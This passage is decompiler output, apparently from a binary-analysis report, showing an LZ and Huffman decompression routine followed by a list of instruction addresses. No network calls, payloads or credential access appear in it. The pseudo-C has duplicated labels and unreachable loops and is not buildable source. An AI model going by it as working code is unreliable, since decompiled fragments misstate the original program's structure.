														if(_t322 >= _t628) {
															L139:
															_t496 =  *(_t643 + 4) + _t628;
															 *(_t643 + 4) = _t496 & 0x00000007;
															_t324 = _t496 >> 3;
															 *_t643 =  *_t643 + _t324;
															_t498 = 0x10;
															_t501 =  *((intOrPtr*)(_t638 + 0x2da8 + _t628 * 4)) + (_t605 -  *((intOrPtr*)(_t638 + 0x2d64 + _t628 * 4)) >> _t498 - _t628);
															__eflags = _t501 -  *((intOrPtr*)(_t638 + 0x2d64));
															asm("sbb eax, eax");
															_t325 = _t324 & _t501;
															__eflags = _t325;
															_t326 =  *(_t638 + 0x39ec + _t325 * 2) & 0x0000ffff;
															L140:
															_t629 = _t326 & 0x0000ffff;
															__eflags = _t629 - 8;
															if(_t629 >= 8) {
																_t464 = (_t629 >> 2) - 1;
																_t629 = (_t629 & 0x00000003 | 0x00000004) << _t464;
																__eflags = _t629;
															} else {
																_t464 = 0;
															}
															_t632 = _t629 + 2;
															__eflags = _t464;
															if(_t464 != 0) {
																_t391 = E0135A4ED(_t643);
																_t525 = 0x10;
																_t632 = _t632 + (_t391 >> _t525 - _t464);
																_t528 =  *(_t643 + 4) + _t464;
																 *_t643 =  *_t643 + (_t528 >> 3);
																_t529 = _t528 & 0x00000007;
																__eflags = _t529;
																 *(_t643 + 4) = _t529;
															}
															__eflags =  *((char*)(_t638 + 0x4c44));
															_t608 =  *(_t658 + 0x30);
															 *(_t638 + 0x74) = _t632;
															if( *((char*)(_t638 + 0x4c44)) == 0) {
																L147:
																_t503 =  *(_t638 + 0x7c);
																_t466 = _t503 - _t608;
																_t328 =  *((intOrPtr*)(_t638 + 0xe6d8)) + 0xffffeffc;
																__eflags = _t466 - _t328;
																if(_t466 >= _t328) {
																	L158:
																	__eflags = _t632;
																	if(_t632 == 0) {
																		while(1) {
																			L0:
																			_t638 = __esi;
																			_t598 = __esi + 0x7c;
																			goto L1;
																		}
																	}
																	L159:
																	_t644 =  *(_t638 + 0xe6dc);
																	do {
																		L160:
																		_t645 = _t644 & _t466;
																		_t466 = _t466 + 1;
																		 *((char*)( *((intOrPtr*)(_t638 + 0x4b40)) +  *(_t638 + 0x7c))) =  *((intOrPtr*)( *((intOrPtr*)(_t638 + 0x4b40)) + _t645));
																		_t598 = _t638 + 0x7c;
																		_t644 =  *(_t638 + 0xe6dc);
																		 *_t598 =  *_t598 + 0x00000001 & _t644;
																		_t632 = _t632 - 1;
																		__eflags = _t632;
																	} while (_t632 != 0);
																	goto L161;
																}
																L148:
																__eflags = _t503 - _t328;
																if(_t503 >= _t328) {
																	goto L158;
																}
																L149:
																_t333 =  *((intOrPtr*)(_t638 + 0x4b40));
																_t468 = _t466 + _t333;
																_t646 = _t333 + _t503;
																 *(_t638 + 0x7c) = _t503 + _t632;
																__eflags = _t608 - _t632;
																if(_t608 >= _t632) {
																	L154:
																	__eflags = _t632 - 8;
																	if(_t632 < 8) {
																		goto L117;
																	}
																	L155:
																	_t347 = _t632 >> 3;
																	__eflags = _t347;
																	 *(_t658 + 0x30) = _t347;
																	_t639 = _t347;
																	do {
																		L156:
																		E0136EA80(_t646, _t468, 8);
																		_t658 = _t658 + 0xc;
																		_t468 = _t468 + 8;
																		_t646 = _t646 + 8;
																		_t632 = _t632 - 8;
																		_t639 = _t639 - 1;
																		__eflags = _t639;
																	} while (_t639 != 0);
																	goto L116;
																}
																L150:
																_t611 = 8;
																__eflags = _t632 - _t611;
																if(_t632 < _t611) {
																	goto L117;
																}
																L151:
																_t511 = _t632 >> 3;
																__eflags = _t511;
																do {
																	L152:
																	_t632 = _t632 - _t611;
																	 *_t646 =  *_t468;
																	 *((char*)(_t646 + 1)) =  *(_t468 + 1);
																	 *((char*)(_t646 + 2)) =  *((intOrPtr*)(_t468 + 2));
																	 *((char*)(_t646 + 3)) =  *((intOrPtr*)(_t468 + 3));
																	 *((char*)(_t646 + 4)) =  *((intOrPtr*)(_t468 + 4));
																	 *((char*)(_t646 + 5)) =  *((intOrPtr*)(_t468 + 5));
																	 *((char*)(_t646 + 6)) =  *((intOrPtr*)(_t468 + 6));
																	_t356 =  *((intOrPtr*)(_t468 + 7));
																	_t468 = _t468 + _t611;
																	 *((char*)(_t646 + 7)) = _t356;
																	_t646 = _t646 + _t611;
																	_t511 = _t511 - 1;
																	__eflags = _t511;
																} while (_t511 != 0);
																goto L117;
															} else {
																L146:
																_push( *(_t638 + 0xe6dc));
																_push(_t638 + 0x7c);
																_push(_t608);
																L71:
																_push(_t632);
																E013620EE();
																goto L0;
																do {
																	while(1) {
																		L0:
																		_t638 = __esi;
																		_t598 = __esi + 0x7c;
																		do {
																			while(1) {
																				L1:
																				 *_t598 =  *_t598 &  *(_t638 + 0xe6dc);
																				if( *_t643 <  *((intOrPtr*)(_t638 + 0x88))) {
																					goto L12;
																				} else {
																					_t637 = _t638 + 0x8c;
																				}
																				goto L3;
																			}
																			goto L103;
																		} while (_t632 == 0);
																		__eflags =  *((char*)(_t638 + 0x4c44));
																		if( *((char*)(_t638 + 0x4c44)) == 0) {
																			L106:
																			_t537 =  *(_t638 + 0x7c);
																			_t614 =  *(_t638 + 0x60);
																			_t399 =  *((intOrPtr*)(_t638 + 0xe6d8)) + 0xffffeffc;
																			_t468 = _t537 - _t614;
																			__eflags = _t468 - _t399;
																			if(_t468 >= _t399) {
																				L125:
																				__eflags = _t632;
																				if(_t632 == 0) {
																					while(1) {
																						L0:
																						_t638 = __esi;
																						_t598 = __esi + 0x7c;
																						L1:
																						 *_t598 =  *_t598 &  *(_t638 + 0xe6dc);
																						if( *_t643 <  *((intOrPtr*)(_t638 + 0x88))) {
																							goto L12;
																						} else {
																							_t637 = _t638 + 0x8c;
																						}
																					}
																				}
																				L126:
																				_t648 =  *(_t638 + 0xe6dc);
																				do {
																					L127:
																					_t649 = _t648 & _t468;
																					_t468 = _t468 + 1;
																					 *((char*)( *((intOrPtr*)(_t638 + 0x4b40)) +  *(_t638 + 0x7c))) =  *((intOrPtr*)( *((intOrPtr*)(_t638 + 0x4b40)) + _t649));
																					_t598 = _t638 + 0x7c;
																					_t648 =  *(_t638 + 0xe6dc);
																					 *_t598 =  *_t598 + 0x00000001 & _t648;
																					_t632 = _t632 - 1;
																					__eflags = _t632;
																				} while (_t632 != 0);
																				L161:
																				_t643 = _t638 + 4;
																				goto L1;
																			}
																			L107:
																			__eflags = _t537 - _t399;
																			if(_t537 >= _t399) {
																				goto L125;
																			}
																			L108:
																			_t400 =  *((intOrPtr*)(_t638 + 0x4b40));
																			_t468 = _t468 + _t400;
																			_t646 = _t400 + _t537;
																			 *(_t638 + 0x7c) = _t537 + _t632;
																			__eflags = _t614 - _t632;
																			if(_t614 >= _t632) {
																				L113:
																				__eflags = _t632 - 8;
																				if(_t632 < 8) {
																					L117:
																					_t598 = _t638 + 0x7c;
																					__eflags = _t632;
																					if(_t632 == 0) {
																						goto L161;
																					}
																					L118:
																					_t598 = _t638 + 0x7c;
																					 *_t646 =  *_t468;
																					__eflags = _t632 - 1;
																					if(_t632 <= 1) {
																						goto L161;
																					}
																					L119:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 1)) =  *(_t468 + 1);
																					__eflags = _t632 - 2;
																					if(_t632 <= 2) {
																						goto L161;
																					}
																					L120:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 2)) =  *((intOrPtr*)(_t468 + 2));
																					__eflags = _t632 - 3;
																					if(_t632 <= 3) {
																						goto L161;
																					}
																					L121:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 3)) =  *((intOrPtr*)(_t468 + 3));
																					__eflags = _t632 - 4;
																					if(_t632 <= 4) {
																						goto L161;
																					}
																					L122:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 4)) =  *((intOrPtr*)(_t468 + 4));
																					__eflags = _t632 - 5;
																					if(_t632 <= 5) {
																						goto L161;
																					}
																					L123:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 5)) =  *((intOrPtr*)(_t468 + 5));
																					__eflags = _t632 - 6;
																					if(_t632 <= 6) {
																						goto L161;
																					}
																					L124:
																					 *((char*)(_t646 + 6)) =  *((intOrPtr*)(_t468 + 6));
																					while(1) {
																						L0:
																						_t638 = __esi;
																						_t598 = __esi + 0x7c;
																						goto L1;
																					}
																				}
																				L114:
																				_t403 = _t632 >> 3;
																				__eflags = _t403;
																				 *(_t658 + 0x30) = _t403;
																				_t641 = _t403;
																				do {
																					L115:
																					E0136EA80(_t646, _t468, 8);
																					_t658 = _t658 + 0xc;
																					_t468 = _t468 + 8;
																					_t646 = _t646 + 8;
																					_t632 = _t632 - 8;
																					_t641 = _t641 - 1;
																					__eflags = _t641;
																				} while (_t641 != 0);
																				L116:
																				_t638 =  *((intOrPtr*)(_t658 + 0x10));
																				goto L117;
																			}
																			L109:
																			_t615 = 8;
																			__eflags = _t632 - _t615;
																			if(_t632 < _t615) {
																				goto L117;
																			}
																			L110:
																			_t539 = _t632 >> 3;
																			__eflags = _t539;
																			do {
																				L111:
																				_t632 = _t632 - _t615;
																				 *_t646 =  *_t468;
																				 *((char*)(_t646 + 1)) =  *(_t468 + 1);
																				 *((char*)(_t646 + 2)) =  *((intOrPtr*)(_t468 + 2));
																				 *((char*)(_t646 + 3)) =  *((intOrPtr*)(_t468 + 3));
																				 *((char*)(_t646 + 4)) =  *((intOrPtr*)(_t468 + 4));
																				 *((char*)(_t646 + 5)) =  *((intOrPtr*)(_t468 + 5));
																				 *((char*)(_t646 + 6)) =  *((intOrPtr*)(_t468 + 6));
																				_t412 =  *((intOrPtr*)(_t468 + 7));
																				_t468 = _t468 + _t615;
																				 *((char*)(_t646 + 7)) = _t412;
																				_t646 = _t646 + _t615;
																				_t539 = _t539 - 1;
																				__eflags = _t539;
																			} while (_t539 != 0);
																			goto L117;
																		}
																		L105:
																		_push( *(_t638 + 0xe6dc));
																		_push(_t638 + 0x7c);
																		_push( *(_t638 + 0x60));
																		goto L71;
																	}
																	L98:
																	_t417 = E01361A0E(_t638, _t658 + 0x1c);
																	__eflags = _t417;
																} while (_t417 != 0);
																goto L99;
															}
														}
														L134:
														_t531 = _t638 + (_t322 + 0xb5a) * 4;
														while(1) {
															L135:
															__eflags = _t605 -  *_t531;
															if(_t605 <  *_t531) {
																break;
															}
															L136:
															_t322 = _t322 + 1;
															_t531 = _t531 + 4;
															__eflags = _t322 - 0xf;
															if(_t322 < 0xf) {
																continue;
															}
															L137:
															goto L139;
														}
														L138:
														_t628 = _t322;
														goto L139;
													}
													L132:
													_t532 = 0x10;
													_t613 = _t605 >> _t532 - _t321;
													_t535 = ( *(_t613 + _t638 + 0x2dec) & 0x000000ff) +  *(_t643 + 4);
													 *_t643 =  *_t643 + (_t535 >> 3);
													 *(_t643 + 4) = _t535 & 0x00000007;
													_t326 =  *(_t638 + 0x31ec + _t613 * 2) & 0x0000ffff;
													goto L140;
												} else {
													goto L130;
												}
												do {
													L130:
													 *_t493 =  *(_t493 - 4);
													_t493 = _t493 - 4;
													_t461 = _t461 - 1;
													__eflags = _t461;
												} while (_t461 != 0);
												goto L131;
											}
											L103:
											_t632 =  *(_t638 + 0x74);
											_t598 = _t638 + 0x7c;
											__eflags = _t632;
										}
										L97:
										_push(_t658 + 0x1c);
										_t414 = E01363564(_t638, _t643);
										__eflags = _t414;
										if(_t414 == 0) {
											goto L99;
										}
										goto L98;
									}
									L32:
									_t634 = _t460 - 0x106;
									__eflags = _t634 - 8;
									if(_t634 >= 8) {
										_t478 = (_t634 >> 2) - 1;
										_t634 = (_t634 & 0x00000003 | 0x00000004) << _t478;
										__eflags = _t634;
									} else {
										_t478 = 0;
									}
									_t632 = _t634 + 2;
									__eflags = _t478;
									if(_t478 != 0) {
										_t444 = E0135A4ED(_t643);
										_t582 = 0x10;
										_t632 = _t632 + (_t444 >> _t582 - _t478);
										_t585 =  *(_t643 + 4) + _t478;
										 *_t643 =  *_t643 + (_t585 >> 3);
										_t586 = _t585 & 0x00000007;
										__eflags = _t586;
										 *(_t643 + 4) = _t586;
									}
									_t418 = E0135A4ED(_t643);
									_t419 =  *(_t638 + 0x1010);
									_t617 = _t418 & 0x0000fffe;
									__eflags = _t617 -  *((intOrPtr*)(_t638 + 0xf90 + _t419 * 4));
									if(_t617 >=  *((intOrPtr*)(_t638 + 0xf90 + _t419 * 4))) {
										L39:
										_t479 = 0xf;
										_t420 = _t419 + 1;
										__eflags = _t420 - _t479;
										if(_t420 >= _t479) {
											L45:
											_t546 =  *(_t643 + 4) + _t479;
											 *(_t643 + 4) = _t546 & 0x00000007;
											_t422 = _t546 >> 3;
											 *_t643 =  *_t643 + _t422;
											_t548 = 0x10;
											_t551 =  *((intOrPtr*)(_t638 + 0xfd0 + _t479 * 4)) + (_t617 -  *((intOrPtr*)(_t638 + 0xf8c + _t479 * 4)) >> _t548 - _t479);
											__eflags = _t551 -  *((intOrPtr*)(_t638 + 0xf8c));
											asm("sbb eax, eax");
											_t423 = _t422 & _t551;
											__eflags = _t423;
											_t424 =  *(_t638 + 0x1c14 + _t423 * 2) & 0x0000ffff;
											goto L46;
										}
										L40:
										_t575 = _t638 + (_t420 + 0x3e4) * 4;
										while(1) {
											L41:
											__eflags = _t617 -  *_t575;
											if(_t617 <  *_t575) {
												break;
											}
											L42:
											_t420 = _t420 + 1;
											_t575 = _t575 + 4;
											__eflags = _t420 - 0xf;
											if(_t420 < 0xf) {
												continue;
											}
											L43:
											goto L45;
										}
										L44:
										_t479 = _t420;
										goto L45;
									} else {
										L38:
										_t576 = 0x10;
										_t625 = _t617 >> _t576 - _t419;
										_t579 = ( *(_t625 + _t638 + 0x1014) & 0x000000ff) +  *(_t643 + 4);
										 *_t643 =  *_t643 + (_t579 >> 3);
										 *(_t643 + 4) = _t579 & 0x00000007;
										_t424 =  *(_t638 + 0x1414 + _t625 * 2) & 0x0000ffff;
										L46:
										_t425 = _t424 & 0x0000ffff;
										__eflags = _t425 - 4;
										if(_t425 >= 4) {
											_t643 = (_t425 >> 1) - 1;
											_t425 = (_t425 & 0x00000001 | 0x00000002) << _t643;
											__eflags = _t425;
										} else {
											_t643 = 0;
										}
										_t428 = _t425 + 1;
										 *(_t658 + 0x14) = _t428;
										_t471 = _t428;
										 *(_t658 + 0x30) = _t471;
										__eflags = _t643;
										if(_t643 == 0) {
											L64:
											_t643 = _t638 + 4;
											goto L65;
										} else {
											L50:
											__eflags = _t643 - 4;
											if(__eflags < 0) {
												L72:
												_t359 = E01367D76(_t638 + 4);
												_t514 = 0x20;
												_t471 = (_t359 >> _t514 - _t643) +  *(_t658 + 0x14);
												_t517 =  *(_t638 + 8) + _t643;
												 *(_t658 + 0x30) = _t471;
												_t643 = _t638 + 4;
												 *_t643 =  *_t643 + (_t517 >> 3);
												 *(_t643 + 4) = _t517 & 0x00000007;
												L65:
												__eflags = _t471 - 0x100;
												if(_t471 > 0x100) {
													_t632 = _t632 + 1;
													__eflags = _t471 - 0x2000;
													if(_t471 > 0x2000) {
														_t632 = _t632 + 1;
														__eflags = _t471 - 0x40000;
														if(_t471 > 0x40000) {
															_t632 = _t632 + 1;
															__eflags = _t632;
														}
													}
												}
												 *(_t638 + 0x6c) =  *(_t638 + 0x68);
												 *(_t638 + 0x68) =  *(_t638 + 0x64);
												 *(_t638 + 0x64) =  *(_t638 + 0x60);
												 *(_t638 + 0x60) = _t471;
												__eflags =  *((char*)(_t638 + 0x4c44));
												 *(_t638 + 0x74) = _t632;
												if( *((char*)(_t638 + 0x4c44)) == 0) {
													L73:
													_t598 = _t638 + 0x7c;
													_t519 =  *_t598;
													_t366 =  *((intOrPtr*)(_t638 + 0xe6d8)) + 0xffffeffc;
													_t651 = _t519 - _t471;
													__eflags = _t651 - _t366;
													if(_t651 >= _t366) {
														L92:
														__eflags = _t632;
														if(_t632 == 0) {
															goto L161;
														}
														L93:
														_t472 =  *(_t638 + 0xe6dc);
														do {
															L94:
															_t473 = _t472 & _t651;
															_t651 = _t651 + 1;
															 *((char*)( *((intOrPtr*)(_t638 + 0x4b40)) +  *(_t638 + 0x7c))) =  *((intOrPtr*)(_t473 +  *((intOrPtr*)(_t638 + 0x4b40))));
															_t598 = _t638 + 0x7c;
															_t472 =  *(_t638 + 0xe6dc);
															 *_t598 =  *_t598 + 0x00000001 & _t472;
															_t632 = _t632 - 1;
															__eflags = _t632;
														} while (_t632 != 0);
														goto L161;
													}
													L74:
													__eflags = _t519 - _t366;
													if(_t519 >= _t366) {
														goto L92;
													}
													L75:
													_t371 =  *((intOrPtr*)(_t638 + 0x4b40));
													_t474 = _t371 + _t651;
													_t652 = _t371 + _t519;
													 *_t598 = _t519 + _t632;
													__eflags =  *(_t658 + 0x30) - _t632;
													if( *(_t658 + 0x30) >= _t632) {
														L80:
														__eflags = _t632 - 8;
														if(_t632 < 8) {
															L84:
															__eflags = _t632;
															if(_t632 != 0) {
																 *_t652 =  *_t474;
																__eflags = _t632 - 1;
																if(_t632 > 1) {
																	 *((char*)(_t652 + 1)) =  *((intOrPtr*)(_t474 + 1));
																	__eflags = _t632 - 2;
																	if(_t632 > 2) {
																		 *((char*)(_t652 + 2)) =  *((intOrPtr*)(_t474 + 2));
																		__eflags = _t632 - 3;
																		if(_t632 > 3) {
																			 *((char*)(_t652 + 3)) =  *((intOrPtr*)(_t474 + 3));
																			__eflags = _t632 - 4;
																			if(_t632 > 4) {
																				 *((char*)(_t652 + 4)) =  *((intOrPtr*)(_t474 + 4));
																				__eflags = _t632 - 5;
																				if(_t632 > 5) {
																					 *((char*)(_t652 + 5)) =  *((intOrPtr*)(_t474 + 5));
																					__eflags = _t632 - 6;
																					if(_t632 > 6) {
																						 *((char*)(_t652 + 6)) =  *((intOrPtr*)(_t474 + 6));
																					}
																				}
																			}
																		}
																	}
																}
															}
															goto L161;
														}
														L81:
														_t381 = _t632 >> 3;
														__eflags = _t381;
														 *(_t658 + 0x30) = _t381;
														_t640 = _t381;
														do {
															L82:
															E0136EA80(_t652, _t474, 8);
															_t658 = _t658 + 0xc;
															_t474 = _t474 + 8;
															_t652 = _t652 + 8;
															_t632 = _t632 - 8;
															_t640 = _t640 - 1;
															__eflags = _t640;
														} while (_t640 != 0);
														_t638 =  *((intOrPtr*)(_t658 + 0x10));
														_t598 =  *(_t658 + 0x18);
														goto L84;
													}
													L76:
													__eflags = _t632 - 8;
													if(_t632 < 8) {
														goto L84;
													}
													L77:
													_t522 = _t632 >> 3;
													__eflags = _t522;
													do {
														L78:
														_t632 = _t632 - 8;
														 *_t652 =  *_t474;
														 *((char*)(_t652 + 1)) =  *((intOrPtr*)(_t474 + 1));
														 *((char*)(_t652 + 2)) =  *((intOrPtr*)(_t474 + 2));
														 *((char*)(_t652 + 3)) =  *((intOrPtr*)(_t474 + 3));
														 *((char*)(_t652 + 4)) =  *((intOrPtr*)(_t474 + 4));
														 *((char*)(_t652 + 5)) =  *((intOrPtr*)(_t474 + 5));
														 *((char*)(_t652 + 6)) =  *((intOrPtr*)(_t474 + 6));
														_t390 =  *((intOrPtr*)(_t474 + 7));
														_t474 = _t474 + 8;
														 *((char*)(_t652 + 7)) = _t390;
														_t652 = _t652 + 8;
														_t522 = _t522 - 1;
														__eflags = _t522;
													} while (_t522 != 0);
													goto L84;
												} else {
													L70:
													_push( *(_t638 + 0xe6dc));
													_push(_t638 + 0x7c);
													_push(_t471);
													goto L71;
												}
											}
											L51:
											if(__eflags <= 0) {
												_t656 = _t638 + 4;
											} else {
												_t439 = E01367D76(_t638 + 4);
												_t569 = 0x24;
												_t572 = _t643 - 4 +  *(_t638 + 8);
												_t656 = _t638 + 4;
												_t471 = (_t439 >> _t569 - _t643 << 4) +  *(_t658 + 0x14);
												 *_t656 =  *_t656 + (_t572 >> 3);
												 *(_t656 + 4) = _t572 & 0x00000007;
											}
											_t429 = E0135A4ED(_t656);
											_t430 =  *(_t638 + 0x1efc);
											_t621 = _t429 & 0x0000fffe;
											__eflags = _t621 -  *((intOrPtr*)(_t638 + 0x1e7c + _t430 * 4));
											if(_t621 >=  *((intOrPtr*)(_t638 + 0x1e7c + _t430 * 4))) {
												L56:
												_t657 = 0xf;
												_t431 = _t430 + 1;
												__eflags = _t431 - _t657;
												if(_t431 >= _t657) {
													L62:
													_t555 =  *(_t638 + 8) + _t657;
													 *(_t638 + 8) = _t555 & 0x00000007;
													_t433 = _t555 >> 3;
													 *(_t638 + 4) =  *(_t638 + 4) + _t433;
													_t557 = 0x10;
													_t560 =  *((intOrPtr*)(_t638 + 0x1ebc + _t657 * 4)) + (_t621 -  *((intOrPtr*)(_t638 + 0x1e78 + _t657 * 4)) >> _t557 - _t657);
													__eflags = _t560 -  *((intOrPtr*)(_t638 + 0x1e78));
													asm("sbb eax, eax");
													_t434 = _t433 & _t560;
													__eflags = _t434;
													_t435 =  *(_t638 + 0x2b00 + _t434 * 2) & 0x0000ffff;
													goto L63;
												}
												L57:
												_t562 = _t638 + (_t431 + 0x79f) * 4;
												while(1) {
													L58:
													__eflags = _t621 -  *_t562;
													if(_t621 <  *_t562) {
														break;
													}
													L59:
													_t431 = _t431 + 1;
													_t562 = _t562 + 4;
													__eflags = _t431 - 0xf;
													if(_t431 < 0xf) {
														continue;
													}
													L60:
													goto L62;
												}
												L61:
												_t657 = _t431;
												goto L62;
											} else {
												L55:
												_t563 = 0x10;
												_t624 = _t621 >> _t563 - _t430;
												_t566 = ( *(_t624 + _t638 + 0x1f00) & 0x000000ff) +  *(_t656 + 4);
												 *_t656 =  *_t656 + (_t566 >> 3);
												 *(_t656 + 4) = _t566 & 0x00000007;
												_t435 =  *(_t638 + 0x2300 + _t624 * 2) & 0x0000ffff;
												L63:
												_t471 = _t471 + (_t435 & 0x0000ffff);
												__eflags = _t471;
												 *(_t658 + 0x30) = _t471;
												goto L64;
											}
										}
									}
								}
								L28:
								__eflags =  *((char*)(_t638 + 0x4c44));
								if( *((char*)(_t638 + 0x4c44)) == 0) {
									L30:
									_t598 = _t638 + 0x7c;
									 *( *((intOrPtr*)(_t638 + 0x4b40)) +  *_t598) = _t460;
									 *_t598 =  *_t598 + 1;
									continue;
								}
								L29:
								 *(_t638 + 0x7c) =  *(_t638 + 0x7c) + 1;
								 *(E013617A5(_t638 + 0x4b44,  *(_t638 + 0x7c))) = _t460;
								goto L0;
							}
						}
						L13:
						__eflags = _t483 -  *_t598;
						if(_t483 ==  *_t598) {
							goto L18;
						}
						L14:
						E013647DA(_t638);
						_t415 =  *((intOrPtr*)(_t638 + 0x4c5c));
						__eflags = _t415 -  *((intOrPtr*)(_t638 + 0x4c4c));
						if(__eflags > 0) {
							goto L100;
						}
						L15:
						if(__eflags < 0) {
							L17:
							__eflags =  *((char*)(_t638 + 0x4c50));
							if( *((char*)(_t638 + 0x4c50)) != 0) {
								L162:
								 *((char*)(_t638 + 0x4c60)) = 0;
								goto L100;
							}
							goto L18;
						}
						L16:
						_t415 =  *((intOrPtr*)(_t638 + 0x4c58));
						__eflags = _t415 -  *((intOrPtr*)(_t638 + 0x4c48));
						if(_t415 >  *((intOrPtr*)(_t638 + 0x4c48))) {
							goto L100;
						}
						goto L17;
					}
				}
			}

0x0136589e
0x0136589e
0x0136589e
0x0136589e
0x0136589e
0x013658a1
0x013658a1
0x013658a7
0x013658b2
0x00000000
0x013658b4
0x013658b4
0x013658b4
0x013658ba
0x013658ba
0x013658c3
0x013658c6
0x00000000
0x00000000
0x013658d5
0x013658dc
0x01365e87
0x01365e89
0x01365e8e
0x01365e95
0x01365e95
0x013658e2
0x013658e2
0x013658e3
0x013658e6
0x013658ed
0x00000000
0x00000000
0x013658f3
0x013658fb
0x013658fc
0x013658fd
0x013658fe
0x01365905
0x00000000
0x01365907
0x00000000
0x01365907
0x01365905
0x0136590c
0x0136590e
0x01365913
0x01365915
0x00000000
0x0136591b
0x0136591b
0x0136591b
0x0136591e
0x0136591e
0x0136592e
0x01365933
0x01365973
0x01365975
0x0136597c
0x01365982
0x01365988
0x0136598f
0x013659bb
0x013659bd
0x013659be
0x013659bf
0x013659c1
0x013659da
0x013659dd
0x013659e4
0x013659e7
0x013659ea
0x013659f6
0x01365a02
0x01365a04
0x01365a0a
0x01365a0c
0x01365a0c
0x01365a0e
0x00000000
0x013659c3
0x013659c6
0x013659c9
0x013659c9
0x013659c9
0x013659cb
0x013659d8
0x013659d8
0x013659d8
0x013659cd
0x013659cd
0x013659ce
0x013659d1
0x013659d4
0x00000000
0x013659d6
0x00000000
0x013659d6
0x013659d4
0x00000000
0x013659c9
0x01365991
0x01365993
0x01365996
0x013659a0
0x013659a8
0x013659ae
0x013659b1
0x01365a16
0x01365a16
0x01365a1c
0x01365a58
0x01365a58
0x01365a5e
0x01365e5a
0x01365e5a
0x01365e60
0x01365e98
0x01365e98
0x01365e9e
0x0136603b
0x0136603b
0x0136603b
0x01366044
0x01366047
0x01366049
0x0136604d
0x0136605c
0x0136605e
0x01366061
0x01366068
0x0136606e
0x01366074
0x0136607b
0x013660a7
0x013660a9
0x013660aa
0x013660ab
0x013660ad
0x013660c9
0x013660cc
0x013660d3
0x013660d6
0x013660d9
0x013660e5
0x013660f1
0x013660f3
0x013660f9
0x013660fb
0x013660fb
0x013660fd
0x01366105
0x01366105
0x01366108
0x0136610b
0x0136611c
0x0136611f
0x0136611f
0x0136610d
0x0136610d
0x0136610d
0x01366121
0x01366124
0x01366126
0x0136612a
0x01366131
0x01366139
0x0136613b
0x01366142
0x01366145
0x01366145
0x01366148
0x01366148
0x0136614b
0x01366152
0x01366156
0x01366159
0x0136616b
0x0136616b
0x01366176
0x01366178
0x0136617d
0x0136617f
0x01366224
0x01366224
0x01366226
0x0136589e
0x0136589e
0x0136589e
0x0136589e
0x00000000
0x0136589e
0x0136589e
0x0136622c
0x0136622c
0x01366232
0x01366232
0x01366238
0x0136623d
0x01366241
0x01366244
0x01366249
0x01366252
0x01366254
0x01366254
0x01366254
0x00000000
0x01366232
0x01366185
0x01366185
0x01366187
0x00000000
0x00000000
0x0136618d
0x0136618d
0x01366193
0x01366195
0x0136619b
0x0136619e
0x013661a0
0x013661f1
0x013661f1
0x013661f4
0x00000000
0x00000000
0x013661fa
0x013661fc
0x013661fc
0x013661ff
0x01366203
0x01366205
0x01366205
0x01366209
0x0136620e
0x01366211
0x01366214
0x01366217
0x0136621a
0x0136621a
0x0136621a
0x00000000
0x0136621f
0x013661a2
0x013661a4
0x013661a5
0x013661a7
0x00000000
0x00000000
0x013661ad
0x013661af
0x013661af
0x013661b2
0x013661b2
0x013661b4
0x013661b6
0x013661bc
0x013661c2
0x013661c8
0x013661ce
0x013661d4
0x013661da
0x013661dd
0x013661e0
0x013661e2
0x013661e5
0x013661e7
0x013661e7
0x013661e7
0x00000000
0x0136615b
0x0136615b
0x0136615b
0x01366164
0x01366165
0x01365cb9
0x01365cb9
0x01365cc0
0x01365cc5
0x0136589e
0x0136589e
0x0136589e
0x0136589e
0x0136589e
0x013658a1
0x013658a1
0x013658a1
0x013658a7
0x013658b2
0x00000000
0x013658b4
0x013658b4
0x013658b4
0x00000000
0x013658b2
0x00000000
0x013658a1
0x01365eb2
0x01365eb9
0x01365ecd
0x01365ecd
0x01365ed8
0x01365edb
0x01365ee0
0x01365ee2
0x01365ee4
0x01366001
0x01366001
0x01366003
0x0136589e
0x0136589e
0x0136589e
0x0136589e
0x013658a1
0x013658a7
0x013658b2
0x00000000
0x013658b4
0x013658b4
0x013658b4
0x013658b2
0x0136589e
0x01366009
0x01366009
0x0136600f
0x0136600f
0x01366015
0x0136601a
0x0136601e
0x01366021
0x01366026
0x0136602f
0x01366031
0x01366031
0x01366031
0x01366259
0x01366259
0x00000000
0x01366259
0x01365eea
0x01365eea
0x01365eec
0x00000000
0x00000000
0x01365ef2
0x01365ef2
0x01365ef8
0x01365efa
0x01365f00
0x01365f03
0x01365f05
0x01365f4f
0x01365f4f
0x01365f52
0x01365f7d
0x01365f7d
0x01365f80
0x01365f82
0x00000000
0x00000000
0x01365f88
0x01365f8a
0x01365f8d
0x01365f90
0x01365f93
0x00000000
0x00000000
0x01365f99
0x01365f9c
0x01365f9f
0x01365fa2
0x01365fa5
0x00000000
0x00000000
0x01365fab
0x01365fae
0x01365fb1
0x01365fb4
0x01365fb7
0x00000000
0x00000000
0x01365fbd
0x01365fc0
0x01365fc3
0x01365fc6
0x01365fc9
0x00000000
0x00000000
0x01365fcf
0x01365fd2
0x01365fd5
0x01365fd8
0x01365fdb
0x00000000
0x00000000
0x01365fe1
0x01365fe4
0x01365fe7
0x01365fea
0x01365fed
0x00000000
0x00000000
0x01365ff3
0x01365ff6
0x0136589e
0x0136589e
0x0136589e
0x0136589e
0x00000000
0x0136589e
0x0136589e
0x01365f54
0x01365f56
0x01365f56
0x01365f59
0x01365f5d
0x01365f5f
0x01365f5f
0x01365f63
0x01365f68
0x01365f6b
0x01365f6e
0x01365f71
0x01365f74
0x01365f74
0x01365f74
0x01365f79
0x01365f79
0x00000000
0x01365f79
0x01365f07
0x01365f09
0x01365f0a
0x01365f0c
0x00000000
0x00000000
0x01365f0e
0x01365f10
0x01365f10
0x01365f13
0x01365f13
0x01365f15
0x01365f17
0x01365f1d
0x01365f23
0x01365f29
0x01365f2f
0x01365f35
0x01365f3b
0x01365f3e
0x01365f41
0x01365f43
0x01365f46
0x01365f48
0x01365f48
0x01365f48
0x00000000
0x01365f4d
0x01365ebb
0x01365ebb
0x01365ec4
0x01365ec5
0x00000000
0x01365ec5
0x01365e73
0x01365e7a
0x01365e7f
0x01365e7f
0x00000000
0x0136589e
0x01366159
0x013660af
0x013660b5
0x013660b8
0x013660b8
0x013660b8
0x013660ba
0x00000000
0x00000000
0x013660bc
0x013660bc
0x013660bd
0x013660c0
0x013660c3
0x00000000
0x00000000
0x013660c5
